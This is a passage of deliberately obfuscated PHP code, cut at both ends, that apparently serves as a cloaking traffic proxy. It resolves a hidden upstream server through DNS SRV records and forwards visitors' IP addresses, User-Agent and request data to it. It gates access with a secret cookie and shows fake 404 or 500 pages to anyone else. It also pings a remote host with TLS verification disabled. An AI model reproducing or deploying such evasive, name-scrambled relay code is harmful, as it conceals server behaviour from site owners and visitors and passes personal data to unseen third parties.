mjaodrhy = 200; const ownmytyn = 201; const ywqznzmm = 202; const ztlmmziy = 300; const odemwjln = 301; const ztflmwqx = 302; const mjenznky = 303; const ymeymqyt = 304; public static $zmfkndew; public static $ztvizdqy = array(); public static $ndnhzdez = array( 'SIG0' => 0, 'A' => 1, 'NS' => 2, 'MD' => 3, 'MF' => 4, 'CNAME' => 5, 'SOA' => 6, 'MB' => 7, 'MG' => 8, 'MR' => 9, 'NULL' => 10, 'WKS' => 11, 'PTR' => 12, 'HINFO' => 13, 'MINFO' => 14, 'MX' => 15, 'TXT' => 16, 'RP' => 17, 'AFSDB' => 18, 'X25' => 19, 'ISDN' => 20, 'RT' => 21, 'NSAP' => 22, 'NSAP_PTR' => 23, 'SIG' => 24, 'KEY' => 25, 'PX' => 26, 'GPOS' => 27, 'AAAA' => 28, 'LOC' => 29, 'NXT' => 30, 'EID' => 31, 'NIMLOC' => 32, 'SRV' => 33, 'ATMA' => 34, 'NAPTR' => 35, 'KX' => 36, 'CERT' => 37, 'A6' => 38, 'DNAME' => 39, 'SINK' => 40, 'OPT' => 41, 'APL' => 42, 'DS' => 43, 'SSHFP' => 44, 'IPSECKEY' => 45, 'RRSIG' => 46, 'NSEC' => 47, 'DNSKEY' => 48, 'DHCID' => 49, 'NSEC3' => 50, 'NSEC3PARAM' => 51, 'TLSA' => 52, 'HIP' => 55, 'NINFO' => 56, 'RKEY' => 57, 'TALINK' => 58, 'CDS' => 59, 'SPF' => 99, 'UINFO' => 100, 'UID' => 101, 'GID' => 102, 'UNSPEC' => 103, 'TKEY' => 249, 'TSIG' => 250, 'IXFR' => 251, 'AXFR' => 252, 'MAILB' => 253, 'MAILA' => 254, 'ANY' => 255, 'URI' => 256, 'CAA' => 257, 'TA' => 32768, 'DLV' => 32769 ); public static $mgjhnixn = array(); public static $yzuotcnw = array( 33 => 'yzjimtbj', ); public static $nmrlnwnh = array(); public static $ntuowzky = array( 'IN' => self::yjgyznjm, 'CH' => self::otiznflz, 'HS' => self::zmeotgyf, 'NONE' => self::oduwndiz, 'ANY' => self::njewzdgw ); public static $mrkyjczn = array( self::mjjiyjrh => 'The request completed successfully.', self::mtuwowmw => 'The name server was unable to interpret the query.', self::mjllyzay => 'The name server was unable to process this query due to a problem with the name server.', self::yzdhymjl => 'The domain name referenced in the query does not exist.', self::yfiymmmj => 'The name server does not support the requested kind of query.', self::mdzlnqyj => 'The name server refuses to perform the specified operation for policy reasons.', self::zdyotczg => 'Name Exists when it should not.', self::zgfknzuy => 'RR Set Exists when it should not.', self::ytjjnjcz => 'RR Set that should exist does not.', self::odlimmyy => 'Server Not Authoritative for zone.', self::ndymtjiz => 'Name not contained in zone.', self::oteyzdun => 'TSIG Signature Failure.', self::mdrlmtcx => 'Key not recognized.', self::ntkmmewo => 'Signature out of time window.', self::ytzjytem => 'Bad TKEY Mode.', self::yzfimwfh => 'Duplicate key name.', self::yjgmwiym => 'Algorithm not supported.', self::ytmntmzo => 'Bad truncation.' ); } class yzjjzjrh { protected $mthjotyn; protected $odzkzdfj; protected $mdyyzdhh; protected $ntzkmmnd = array( 'sec' => 5, 'usec' => 0, ); private $nzkmzrhn; private $zjmwmwzi; public function __construct($odzkzdfj, $mdyyzdhh, array $ntzkmmnd) { $this->odzkzdfj = $odzkzdfj; $this->mdyyzdhh = $mdyyzdhh; $this->ntzkmmnd = $ntzkmmnd; } public function __destruct() { $this->zgezodgm(); } public function zdqodnin() { return $this->nzkmzrhn; } public function nwzjnuzo() { $otnkmtbj = array( 'socket' => array() ); $this->zjmwmwzi = @stream_context_create($otnkmtbj); $ywyymmyz = $this->ntzkmmnd['sec'] < 1 ? 1 : $this->ntzkmmnd['sec']; if (nzazowrh::mduztyyn($this->odzkzdfj) == true) { $this->mthjotyn = @stream_socket_client( 'udp://' . $this->odzkzdfj . ':' . $this->mdyyzdhh, $mjcogexo, $odcmgixz, $ywyymmyz, STREAM_CLIENT_CONNECT, $this->zjmwmwzi ); } else if (nzazowrh::mwymjgot($this->odzkzdfj) == true) { $this->mthjotyn = @stream_socket_client( 'udp://[' . $this->odzkzdfj . ']:' . $this->mdyyzdhh, $mjcogexo, $odcmgixz, $ywyymmyz, STREAM_CLIENT_CONNECT, $this->zjmwmwzi ); } else { $this->nzkmzrhn = 'invalid address type: ' . $this->odzkzdfj; return false; } if ($this->mthjotyn === false) { $this->nzkmzrhn = $odcmgixz; return false; } @stream_set_blocking($this->mthjotyn, 0); @stream_set_timeout($this->mthjotyn, $this->ntzkmmnd['sec'], $this->ntzkmmnd['usec']); return true; } public function zgezodgm() { if (is_resource($this->mthjotyn) === true) { @fclose($this->mthjotyn); } return true; } public function ztfkmgmy($yteyzlhy) { $mqndkmym = strlen($yteyzlhy); if ($mqndkmym == 0) { $this->nzkmzrhn = 'empty data on write()'; return false; } $ytdhzmrk = null; $ztfkmgmy = array( $this->mthjotyn ); $njcyzmnj = null; switch (@stream_select($ytdhzmrk, $ztfkmgmy, $njcyzmnj, $this->ntzkmmnd['sec'], $this->ntzkmmnd['usec'])) { case false: $this->nzkmzrhn = 'failed on stream_select()'; return false; break; case 0: return false; break; default: ; } $odkznjhl = @fwrite($this->mthjotyn, $yteyzlhy); if (($odkznjhl === false) || ($odkznjhl != $mqndkmym)) { $this->nzkmzrhn = 'failed to fwrite() packet'; return false; } return true; } public function ytdhzmrk(&$odkznjhl) { $ytdhzmrk = array( $this->mthjotyn ); $ztfkmgmy = null; $njcyzmnj = null; @stream_set_blocking($this->mthjotyn, 0); switch (stream_select($ytdhzmrk, $ztfkmgmy, $njcyzmnj, $this->ntzkmmnd['sec'], $this->ntzkmmnd['usec'])) { case false: $this->nzkmzrhn = 'error on stream_select()'; return false; break; case 0: return false; break; default: ; } $mqndkmym = zjkotcnz::zwunzbmm; @stream_set_blocking($this->mthjotyn, 1); $yteyzlhy = fread($this->mthjotyn, $mqndkmym); if ($yteyzlhy === false) { $this->nzkmzrhn = 'failed on fread() for data'; return false; } $odkznjhl = strlen($yteyzlhy); return $yteyzlhy; } } class nzazowrh { const zjhmytiy = '/etc/resolv.conf'; const nmvintgn = 53; private $ntzkmmnd = array( 'sec' => 5, 'usec' => 0 ); public $zgyxodez = true; protected $nzvhntbj = array(); protected $odzhntli = array(); private $yzyyzmwm = ''; public function __construct($odzhntli, $ntzkmmnd) { $this->ntzkmmnd = $ntzkmmnd; $this->zwqmtziy($odzhntli); } public function zwqmtziy($odzhntli) { if (is_array($odzhntli) && !empty($odzhntli)) { $this->odzhntli = $odzhntli; } elseif (is_string($odzhntli) && @file_exists($odzhntli) && @is_readable($odzhntli)) { $this->zjuowfin($odzhntli); } return true; } private function zjuowfin($mdhkzwfl) { $yteyzlhy = file_get_contents($mdhkzwfl); if ($yteyzlhy === false) { throw new yzaytczd('failed to read contents of file: ' . $mdhkzwfl, zjkotcnz::mjaodrhy); } $oduynwfh = explode("
", $yteyzlhy); foreach ($oduynwfh as $mjyzjmyf) { $mjyzjmyf = trim($mjyzjmyf); if ((strlen($mjyzjmyf) == 0) || ($mjyzjmyf[0] == '#') || ($mjyzjmyf[0] == ';')) { continue; } list($ytyyzjiy, $zjmyyjyy) = preg_split('/\s+/', $mjyzjmyf, 2); $ytyyzjiy = trim(strtolower($ytyyzjiy)); $zjmyyjyy = trim(strtolower($zjmyyjyy)); switch ($ytyyzjiy) { case 'nameserver': if ((self::mduztyyn($zjmyyjyy) == true) || (self::mwymjgot($zjmyyjyy) == true)) { $this->odzhntli[] = $zjmyyjyy; } else { throw new yzaytczd('invalid nameserver entry: ' . $zjmyyjyy, zjkotcnz::ownmytyn); } break; default: ; } } } public static function mmqwztem($zmvjztfj) { if (($zmvjztfj < 0) && (PHP_INT_MAX == 2147483647)) { return sprintf('%u', $zmvjztfj); } else { return $zmvjztfj; } } public static function mduztyyn($yzymjemd) { if (extension_loaded('filter') == true) { if (filter_var($yzymjemd, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) == false) { return false; } } else { if (inet_pton($yzymjemd) === false) { return false; } if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $yzymjemd) == 0) { return false; } } return true; } public static function mwymjgot($yzymjemd) { if (extension_loaded('filter') == true) { if (filter_var($yzymjemd, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) == false) { return false; } } else { if (inet_pton($yzymjemd) === false) { return false; } if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $yzymjemd) == 1) { return false; } } return true; } public static function nemtgmjn($yzymjemd) { if (strpos($yzymjemd, '::') !== false) { $mzjodhio = explode('::', $yzymjemd); $mzjodhio[0] = explode(':', $mzjodhio[0]); $mzjodhio[1] = explode(':', $mzjodhio[1]); $nwewmtnj = array(); $mtfmnmfk = (8 - (count($mzjodhio[0]) + count($mzjodhio[1]))); for ($mdqyzgmn = 0; $mdqyzgmn < $mtfmnmfk; $mdqyzgmn++) { array_push($nwewmtnj, '0000'); } $nwewmtnj = array_merge($mzjodhio[0], $nwewmtnj); $mzjodhio = array_merge($nwewmtnj, $mzjodhio[1]); } else { $mzjodhio = explode(':', $yzymjemd); } foreach ($mzjodhio as &$nteyjkod) { while (strlen($nteyjkod) < 4) { $nteyjkod = '0' . $nteyjkod; } } unset($nteyjkod); $mzdhntmw = implode(':', $mzjodhio); if (strlen($mzdhntmw) == 39) { return $mzdhntmw; } else { return false; } } protected function ntzkowuy(zgzjytzl $mdgztiyj) { $yteyzlhy = $mdgztiyj->nzgzotiz(); if (strlen($yteyzlhy) < zjkotcnz::odvlnyyy) { throw new yzaytczd('invalid or empty packet for sending!', zjkotcnz::ztlmmziy); } reset($this->odzhntli); $mgvjnmqx = null; $nzmymgqy = ''; $mdfhytem = null; while (1) { $nzmymgqy = each($this->odzhntli); if ($nzmymgqy === false) { throw new yzaytczd('every name server provided has failed: ' . $this->yzyyzmwm, zjkotcnz::ywqznzmm); } $nzmymgqy = $nzmymgqy[1]; if ((!isset($this->nzvhntbj[$nzmymgqy])) || (!($this->nzvhntbj[$nzmymgqy] instanceof yzjjzjrh))) { $this->nzvhntbj[$nzmymgqy] = new yzjjzjrh($nzmymgqy, self::nmvintgn, $this->ntzkmmnd); } if ($this->nzvhntbj[$nzmymgqy]->nwzjnuzo() === false) { $this->yzyyzmwm = $this->nzvhntbj[$nzmymgqy]->zdqodnin(); continue; } if ($this->nzvhntbj[$nzmymgqy]->ztfkmgmy($yteyzlhy) === false) { $this->yzyyzmwm = $this->nzvhntbj[$nzmymgqy]->zdqodnin(); continue; } $odkznjhl = 0; $mzdhntmw = $this->nzvhntbj[$nzmymgqy]->ytdhzmrk($odkznjhl); if (($mzdhntmw === false) || ($odkznjhl < zjkotcnz::odvlnyyy)) { $this->yzyyzmwm = $this->nzvhntbj[$nzmymgqy]->zdqodnin(); continue; } $mgvjnmqx = new owiwmtyy($mzdhntmw, $odkznjhl); if (is_null($mgvjnmqx)) { throw new yzaytczd('empty response object', zjkotcnz::ywqznzmm); } if ($mgvjnmqx->ntkzmqxn->zdyxztmz == 1) { $this->yzyyzmwm = "truncated response"; continue; } break; } $mgvjnmqx->mmmxnjky = $nzmymgqy; if ($mdgztiyj->ntkzmqxn->oddlytvk != $mgvjnmqx->ntkzmqxn->oddlytvk) { throw new yzaytczd('invalid header: the request and response id do not match.', zjkotcnz::ztflmwqx); } if ($mgvjnmqx->ntkzmqxn->nduyzmex != zjkotcnz::otrknzkn) { throw new yzaytczd('invalid header: the response provided is not a response packet.', zjkotcnz::ztflmwqx); } if ($mgvjnmqx->ntkzmqxn->mezjcymm != zjkotcnz::mjjiyjrh) { throw new yzaytczd('DNS request failed: ' . zjkotcnz::$mrkyjczn[$mgvjnmqx->ntkzmqxn->mezjcymm], $mgvjnmqx->ntkzmqxn->mezjcymm); } return $mgvjnmqx; } public function nnkoteog($nmflotkn, $zdbhmuzj = 'SRV', $ogqnjdiz = 'IN') { if (empty($this->odzhntli)) { throw new yzaytczd('Empty name servers list.'); } $ndrmmtkn = new mdcmjaog($nmflotkn, $zdbhmuzj, $ogqnjdiz); if ($this->zgyxodez == false) { $ndrmmtkn->ntkzmqxn->owymtkzd = 0; } else { $ndrmmtkn->ntkzmqxn->owymtkzd = 1; } $mgvjnmqx = $this->ntzkowuy($ndrmmtkn); return $mgvjnmqx; } } class mjvlotcz { public function nwyotdky($ywemtnkz, nwuowyyy $mdgztiyj) { $this->mtcywiod($mdgztiyj); if ($ywemtnkz === '/tgens/click') { $mdgztiyj->nzmnziyn('userIP', $mdgztiyj->mdendkzn()); } if ($ywemtnkz === '/tgens/getSupportedProtocols') { $ztfkyziy = new mwewodym(); if ($ztfkyziy->nteyytiy()) { $ztfkyziy->nmvindmo(); $mmrlmwez = $ztfkyziy->ymqnjqyz(); $ztfkyziy->nmnjmwzi($mmrlmwez); } die(json_encode(array('data' => array("supported_protocols" => $ztfkyziy->mzexytkn())))); } if ($ywemtnkz === '/affiliate-signup/post') { $mdgztiyj->mjfkmgrk('user_ip', $mdgztiyj->mdendkzn()); } } protected function mtcywiod(nwuowyyy $mdgztiyj) { if ($mdgztiyj->zgizmmuz()) { $mdgztiyj->nzmnziyn('ip', $mdgztiyj->mdendkzn()); $mdgztiyj->nzmnziyn('host', $_SERVER['HTTP_HOST']); $mdgztiyj->nzmnziyn('aid', ndfjzdym::ztrmmjmo('aid')); } else if ($mdgztiyj->zdgzogji()) { $mdgztiyj->mjfkmgrk('ip', $mdgztiyj->mdendkzn()); $mdgztiyj->mjfkmgrk('host', $_SERVER['HTTP_HOST']); $mdgztiyj->mjfkmgrk('aid', ndfjzdym::ztrmmjmo('aid')); } } } class mwewodym { const otczyjkz = "test-available-http-protocols.html"; private $ywezowjj = array(); private $mdvjyzzj = null; private $zmmzzdfk = null; public function __construct() { $this->ntkzztim(); } public function ntkzztim() { if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { $this->mdvjyzzj = "http://"; array_push($this->ywezowjj, "https"); } else { $this->mdvjyzzj = "https://"; array_push($this->ywezowjj, "http"); } } public function nteyytiy() { return (function_exists('curl_version')) ? true : false; } public function mzexytkn() { return $this->ywezowjj; } public function nmvindmo() { if (!isset($_SERVER["HTTP_REFERER"])) { $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . "/" . self::otczyjkz; return; } $ywyxoduw = parse_url($_SERVER["HTTP_REFERER"]); if (isset($ywyxoduw["path"])) { if (strpos($ywyxoduw["path"], ".html")) { $mduyotax = explode("/", $ywyxoduw["path"]); $yzkyzqyj = str_replace(end($mduyotax), self::otczyjkz, $ywyxoduw["path"]); $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . $yzkyzqyj; } else if ($ywyxoduw["path"] === "/") { $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . $ywyxoduw["path"] . self::otczyjkz; } else { $nzmwyjiw = (substr($ywyxoduw["path"], -1) === "/") ? "" : "/"; $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . $ywyxoduw["path"] . $nzmwyjiw . self::otczyjkz; } } else { $this->zmmzzdfk = $this->mdvjyzzj . $_SERVER["HTTP_HOST"] . "/" . self::otczyjkz; } } public function ymqnjqyz() { $ndgyymqn = curl_init(); $ntezzjhk = array( CURLOPT_URL => $this->zmmzzdfk, CURLOPT_HEADER => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYHOST => 2 ); curl_setopt_array($ndgyymqn, $ntezzjhk); $mmrlmwez = curl_exec($ndgyymqn); curl_close($ndgyymqn); return $mmrlmwez; } public function nmnjmwzi($mmrlmwez) { $mmrlmwez = explode("

HTTP/", $mmrlmwez, 2); $mmrlmwez = (count($mmrlmwez) > 1 ? 'HTTP/' : '') . array_pop($mmrlmwez); list($mwuxmjiz, $mmrlmwez) = explode("

", $mmrlmwez, 2); $mwuxmjiz = explode("
", $mwuxmjiz); $yyngzlyz = array(); foreach ($mwuxmjiz as $mtnmymqo => $nezogqyj) { $nezogqyj = explode(': ', $nezogqyj, 2); $yyngzlyz[$nezogqyj[0]] = $nezogqyj[1]; } if (strpos(key($yyngzlyz), "200") && $mmrlmwez) { (in_array("http", $this->ywezowjj)) ? array_push($this->ywezowjj, "https") : array_push($this->ywezowjj, "http"); } } } class nvimdqmi { const ywjhzten = false; const yzqymjlm = true; private $ndgzjdhy = null; private $zgrlytim = array(); private $mtuyjfko = array(); private $ywzlyzcm; public function __construct(mmzztnhn $ywzlyzcm) { $this->ywzlyzcm = $ywzlyzcm; $this->mthlmgni(); $ntzkmmnd = $this->mwmndcym(ndfjzdym::ztrmmjmo('timeout_dns')); if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN' && @ini_get('safe_mode') != 'On' && @ini_get('safe_mode') !== 1 && @file_exists(nzazowrh::zjhmytiy) && @is_readable(nzazowrh::zjhmytiy) ) { $odzhntli = nzazowrh::zjhmytiy; } else { $odzhntli = array('8.8.8.8', '8.8.4.4'); } $this->ndgzjdhy = new nzazowrh($odzhntli, $ntzkmmnd); } private function mwmndcym($odjmmday) { $otiwytiz = floor($odjmmday / 1000); $zgmzmzuz = (int) ($odjmmday - ($otiwytiz * 1000)) * 1000; return array( 'sec' => $otiwytiz, 'usec' => $zgmzmzuz, ); } private function mthlmgni() { $ywjiytmm = ndfjzdym::ztrmmjmo('mmjhnwmy'); if (empty($ywjiytmm)) { throw new zmqywmyt("Empty hosts string."); } $this->zgrlytim = $ywjiytmm; } public function ndezymmm($odzkzdfj) { $mzdhntmw = array(); $mgvjnmqx = $this->ndgzjdhy->nnkoteog($odzkzdfj, 'SRV'); foreach ($mgvjnmqx->mjvkyzim as $nwiywvim) { $mzdhntmw[] = array( 'host' => $nwiywvim->nmflotkn, 'type' => $nwiywvim->zdbhmuzj, 'pri' => $nwiywvim->mzmntgnv, 'weight' => $nwiywvim->ywzlmdqn, 'port' => $nwiywvim->mdyyzdhh, 'target' => $nwiywvim->mguytnhz, 'class' => $nwiywvim->ogqnjdiz, 'ttl' => $nwiywvim->mmuzmzin, ); } return $mzdhntmw; } private static function nqmdyyvh(array $nzcwowqn = array()) { $njdkndbh = array(); foreach ($nzcwowqn as $odqzyjhy) { $mzezdmnj[$odqzyjhy['pri']][] = $odqzyjhy; } ksort($mzezdmnj); $mjmmdcod = create_function( '$odzmnumz, $ztlknzfm', 'if ($odzmnumz["weight"] == $ztlknzfm["weight"]) return 0;' . 'else return ($odzmnumz["weight"] < $ztlknzfm["weight"]) ? -1 : 1;' ); foreach ($mzezdmnj as $mzmntgnv) { usort($mzmntgnv, $mjmmdcod); while (count($mzmntgnv)) { $ztlkzmyz = 0; foreach ($mzmntgnv as $mtnmymqo => $nezogqyj) { $ztlkzmyz += $nezogqyj['weight']; $mzmntgnv[$mtnmymqo]['weight_sum'] = $ztlkzmyz; } if ($ztlkzmyz == 0) { shuffle($mzmntgnv); foreach ($mzmntgnv as $mtnmymqo => $nezogqyj) { $njdkndbh[] = array( "host" => $nezogqyj['target'], "port" => $nezogqyj['port'] ); unset($mzmntgnv[$mtnmymqo]); break; } } else { $ntimdanj = rand(1, $ztlkzmyz); foreach ($mzmntgnv as $mtnmymqo => $nezogqyj) { if ($nezogqyj['weight_sum'] >= $ntimdanj) { $njdkndbh[] = array( "host" => $nezogqyj['target'], "port" => $nezogqyj['port'] ); unset($mzmntgnv[$mtnmymqo]); break; } } } } } return $njdkndbh; } public function nzmznjhh($mwizwyyt, $zgizzwvj, $mwqywjmn = self::ywjhzten) { $ymynmyyn = null; $this->ywzlyzcm->njhymmym("Resolving SRV:"); foreach ($this->zgrlytim as $odzkzdfj) { if ($mwqywjmn === self::ywjhzten) { $yzuyzimt = new owvkotll(); $this->ywzlyzcm->njhymmym("	Trying to resolve (through socket) $odzkzdfj"); try { $mtknzuwy = $this->ndezymmm($odzkzdfj); $this->ywzlyzcm->njhymmym("		Operation time: $yzuyzimt"); $this->ywzlyzcm->njhymmym("		OK, retrieved " . count($mtknzuwy) . ' IPs' . $this->ywzlyzcm->yjhimtcm($mtknzuwy)); } catch (Exception $nthlnmiz) { $this->ywzlyzcm->njhymmym("		Operation time: $yzuyzimt"); $this->ywzlyzcm->njhymmym("		Exception: " . $nthlnmiz->getMessage()); $this->zdfjnjux( $nthlnmiz, array( 'dns host' => base64_encode($odzkzdfj), 'function' => __METHOD__, ) ); continue; } } elseif ($mwqywjmn === self::yzqymjlm) { $zjynjcnj = new owvkotll(); $this->ywzlyzcm->njhymmym("	Trying to resolve (through dns_get_record function) $odzkzdfj"); $mtknzuwy = dns_get_record($odzkzdfj, DNS_SRV); $this->ywzlyzcm->njhymmym("		Operation time: $zjynjcnj"); $this->ywzlyzcm->njhymmym("		OK, retrieved " . count($mtknzuwy) . ' IPs' . $this->ywzlyzcm->yjhimtcm($mtknzuwy)); } if (empty($mtknzuwy)) { continue; } $this->ywzlyzcm->njhymmym("HTTP Proxy response:"); $mtknzuwy = self::nqmdyyvh($mtknzuwy); foreach ($mtknzuwy as $mjcytcwm) { $ytmzmqym = new owvkotll(); try { $mjcytcwm['host'] = trim(strtolower($mjcytcwm['host'])); if (!empty($mjcytcwm['host'])) { $oweztuzw = $mjcytcwm['port'] == 443 ? 'https' : 'http'; $odemzyzn = $oweztuzw . '://' . $mjcytcwm['host'] . ':' . $mjcytcwm['port']; $this->ywzlyzcm->yjaymtem($oweztuzw . '://' . $mjcytcwm['host']); $this->ywzlyzcm->njhymmym("	Sending request to: $odemzyzn"); $ymynmyyn = $this->yzlhmdan($odemzyzn, $mwizwyyt, $zgizzwvj); $_SESSION['target']['host'] = $odemzyzn; $_SESSION['target']['ttl'] = time() + ndfjzdym::ztrmmjmo('shared_session_ttl'); $this->ywzlyzcm->njhymmym("		Operation time: $ytmzmqym"); $this->ywzlyzcm->njhymmym("		HTTP code: " . $ymynmyyn->yiowyyjr()); $this->ywzlyzcm->njhymmym("		Headers: 
			" . str_replace("
", "
			", $ymynmyyn->ytynflyt())); $this->ywzlyzcm->njhymmym("		Body: " . $ymynmyyn->nzqwmrlo()); break 2; } } catch (Exception $nthlnmiz) { $this->ywzlyzcm->njhymmym("	Operation time: $ytmzmqym"); $this->ywzlyzcm->njhymmym("	Exception: " . $nthlnmiz->getMessage()); $this->zdfjnjux( $nthlnmiz, array( 'dns srv_record' => $mjcytcwm, 'function' => __METHOD__, ) ); } } } if ($ymynmyyn === null && ndfjzdym::ztrmmjmo('use_dns_fallback') === true && $mwqywjmn === self::ywjhzten ) { $ymynmyyn = $this->nzmznjhh($mwizwyyt, $zgizzwvj, self::yzqymjlm); } return $ymynmyyn; } public function yzlhmdan($odemzyzn = null, nwuowyyy $mwizwyyt = null, $zgizzwvj = '') { if (empty($odemzyzn)) { throw new Exception("Empty url"); } $ymynmyyn = null; $mmmzdymg = zjamdgmj::yjqynwqy($odemzyzn . $zgizzwvj); $nzlnzjym = new odrhytmz( array( 'timeout' => ndfjzdym::ztrmmjmo('timeout_proxy'), 'connect_timeout' => ndfjzdym::ztrmmjmo('connect_timeout_proxy'), ) ); $zdjhmdrk = new nmeywumz($mmmzdymg, $nzlnzjym); $zdjhmdrk->mzzhodan(ndfjzdym::ztrmmjmo('otjlzddh'), $mwizwyyt->mdendkzn()) ->mzzhodan('User-Agent', $mwizwyyt->ntuotriy('User-Agent')) ->mzzhodan('Host', ndfjzdym::ztrmmjmo('header_host_value')); if (ndfjzdym::ztrmmjmo('mzcnwzhy') !== '') { $ytzhnzcy = ndfjzdym::ztrmmjmo('yjazmtyo'); $mdymemmq = ndfjzdym::ztrmmjmo('mzcnwzhy'); $zdjhmdrk->mzzhodan($ytzhnzcy, $mdymemmq); } $ntkyjjin = new mjvlotcz(); $ntkyjjin->nwyotdky($zgizzwvj, $mwizwyyt); if ($mwizwyyt->mteyztfj()) { $ymynmyyn = $zdjhmdrk->zjgmddiz(); } elseif ($mwizwyyt->zgizmmuz()) { $nnkoteog = $mwizwyyt->mjknmqwy(); $zdjhmdrk->nduwmzmn($nnkoteog); $ymynmyyn = $zdjhmdrk->mdgztiyj('GET'); } elseif ($mwizwyyt->zdgzogji()) { $ndnmnwim = $mwizwyyt->yzcwyjaz(); $zdjhmdrk->mmvhntzk($ndnmnwim); $ymynmyyn = $zdjhmdrk->mdgztiyj('POST'); } else { throw new Exception("Unknown method."); } return $ymynmyyn; } public function zdfjnjux($nwqmmfkm, $otiwzjhm = null) { $this->mtuyjfko[] = array( 'e' => $nwqmmfkm, 'env' => $otiwzjhm, ); } public function mmrmnzri() { $mzdhntmw = ''; foreach ($this->mtuyjfko as $ngrjnmzw) { if (isset($ngrjnmzw['e']) && $ngrjnmzw['e'] instanceof Exception) { $nthlnmiz = $ngrjnmzw['e']; $mzdhntmw .= "Exception:
"; $mzdhntmw .= $nthlnmiz->__toString(); } if (isset($ngrjnmzw['env'])) { $mzdhntmw .= "Env:
"; $mzdhntmw .= print_r($ngrjnmzw['env'], true); } $mzdhntmw .= str_repeat('-', 80) . "
"; } return $mzdhntmw; } } class ntrkzwjh { const mmqyztmx = '/tgens/ipadress'; private $mdgztiyj = null; private $mdrhngzj = null; private $zmmytgyq = false; public function __construct(nwuowyyy $mdgztiyj, nvimdqmi $mdrhngzj) { $this->mdgztiyj = $mdgztiyj; $this->mdrhngzj = $mdrhngzj; } public function owrmndkn() { $ndmntfko = basename(__FILE__, '.php'); if (strpos($_SERVER['REQUEST_URI'], $ndmntfko)) { header($ndmntfko . ':' . ndfjzdym::$zmqyjazn['ntinzvlo']); } } public function zduzdknt() { if ((isset($_COOKIE['access']) && $_COOKIE['access'] == ndfjzdym::$zmqyjazn['ngzjmjez']) || $this->zmmytgyq) { return true; } $this->mdgztiyj->nzmnziyn('ip', $this->mdgztiyj->mdendkzn()); if ( strlen(ndfjzdym::ztrmmjmo('yfimjqxm')) == 0 ) { $ymynmyyn = $this->mdrhngzj->nzmznjhh($this->mdgztiyj, self::mmqyztmx); } else { $ymynmyyn = $this->mdrhngzj->yzlhmdan(ndfjzdym::ztrmmjmo('yfimjqxm'), $this->mdgztiyj, self::mmqyztmx); } if ( $ymynmyyn instanceof ndyztune && $ymynmyyn->getMessage() === 'OK' ) { $zdfmmtaw = json_decode($ymynmyyn->nzqwmrlo()); $this->zmmytgyq = $zdfmmtaw->{'data'}; if ($this->zmmytgyq) { return $this->zmmytgyq; } } else { if( njrhmzbk ) { var_dump($ymynmyyn); } $this->ztizmzvm(); } $this->mqynjizw(); } public function mqynjizw() { session_write_close(); header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found', true, 404); echo "<h1>404 Not Found</h1>"; echo "The page that you have requested could not be found."; exit(); } public function ztizmzvm() { session_write_close(); header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); echo "<h1>500 Internal server error</h1>"; exit(); } } class mmzztnhn { private $oguymenj = ''; private $zdkmdjkm = ''; public function njhymmym($nmyyjlhz) { $this->oguymenj .= $nmyyjlhz . "
"; } public function yjhimtcm($mtknzuwy) { $odynjfin = array(); if (!is_array($mtknzuwy) || empty($mtknzuwy)) { return ''; } foreach($mtknzuwy as $mjcytcwm) { if (isset($mjcytcwm['target'])) { $odynjfin[] = $mjcytcwm['target']; } } return ' (' . implode(',', $odynjfin) . ')'; } protected function yjgyodyw() { if (function_exists('getallheaders')) { return getallheaders(); } else { $mjzinddl = array(); foreach ($_SERVER as $nmflotkn => $zjmyyjyy) { if (substr($nmflotkn, 0, 5) == 'HTTP_') { $odmmtniz = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($nmflotkn, 5))))); $mjzinddl[$odmmtniz] = $zjmyyjyy; } } return $mjzinddl; } } public function ndlmytgz() { $njmxndni = ''; foreach ($this->yjgyodyw() as $nmflotkn => $zjmyyjyy) { $njmxndni .= "		$nmflotkn: $zjmyyjyy
"; } return $njmxndni; } public function nzlindvm() { $odemzyzn = $this->zdkmdjkm . '/ping'; $otnkmtbj = array( 'http'=>array( 'method'=>"GET", 'header'=>"Host: template-ping
" ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), ); $zwmynziy = stream_context_create($otnkmtbj); if (empty($this->zdkmdjkm)) { $this->njhymmym("	Ping to $odemzyzn: missed url"); return; } $ngqnzdmy = new owvkotll(); @file_get_contents($odemzyzn, false, $zwmynziy); $mzawztmz = isset($http_response_header[0]) && strpos($http_response_header[0], '200 OK') ? true : false; if ($mzawztmz) { $this->njhymmym("	Ping to $odemzyzn:  $ngqnzdmy"); } else { $this->njhymmym("	Ping to $odemzyzn:  error request to $odemzyzn"); } } private function nywzjrlm($zgyyzzio) { $zdkzdmzn = time(); if ($zgyyzzio < $zdkzdmzn) { return null; } return number_format(($zgyyzzio - $zdkzdmzn) / 60, 2); } public function nzkxndmz() { if (isset($_SESSION['target']) && isset($_SESSION['target']['host']) && isset($_SESSION['target']['ttl']) && time() < $_SESSION['target']['ttl'] ) { $this->njhymmym("	Expires after: " . $this->nywzjrlm($_SESSION['target']['ttl']) . 'min'); } else { $this->njhymmym("	Not found || Try to run this script again"); } return $this; } public function yjaymtem($odemzyzn) { $this->zdkmdjkm = $odemzyzn; } public function __toString() { return $this->oguymenj; } } class mzezndri { public function njjiowmm() { $this->otfinmiw() ->zmnhntdh() ->zdiwmwjh() ->mwjhzgfk() ->otcowzhm(); return $this; } public function mrkoduyw() { $this->nrhywuzm() ->yzezmgmx() ->zwqyyzvk() 